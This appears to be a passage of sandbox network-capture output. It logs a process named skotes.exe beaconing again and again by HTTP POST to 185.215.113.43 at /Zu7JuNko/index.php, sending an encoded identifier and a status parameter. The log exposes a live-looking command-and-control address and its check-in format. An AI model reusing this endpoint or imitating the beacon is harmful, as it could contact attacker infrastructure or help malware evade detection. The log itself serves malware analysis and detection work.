Nov 20, 2024 08:11:46.125072002 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:11:46.848627090 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50318	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:48.477547884 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:11:49.335906982 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50319	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:51.647867918 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:11:52.503936052 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	50320	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:54.135262012 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:11:54.844109058 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50322	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:56.942400932 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:11:57.665746927 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50325	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:59.294893980 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:11:59.990597010 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50326	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:01.511153936 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:12:02.248874903 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50327	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:03.926173925 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:12:04.637218952 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50328	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:06.162590027 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:12:06.864866018 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50329	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:08.505211115 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:12:09.215352058 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	61298	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:10.734666109 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:12:11.446852922 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	61300	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:13.070853949 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:12:13.769948006 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	61301	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:15.293081045 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:12:16.006922960 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	61303	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:17.645270109 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:12:18.344826937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	61304	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:19.860326052 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:12:20.577121019 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	61305	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:22.217163086 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:12:22.936547041 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	61306	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:24.456346989 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:12:25.176067114 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	61307	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:26.809262037 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:12:27.509159088 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	61308	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:29.034420967 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:12:29.771539927 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	61309	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:31.403332949 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:12:32.132457018 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	61310	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:33.658535957 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:12:34.380645990 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	61311	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:36.013896942 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:12:36.717000008 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	61314	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:38.234225988 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:12:38.949018955 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	61315	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
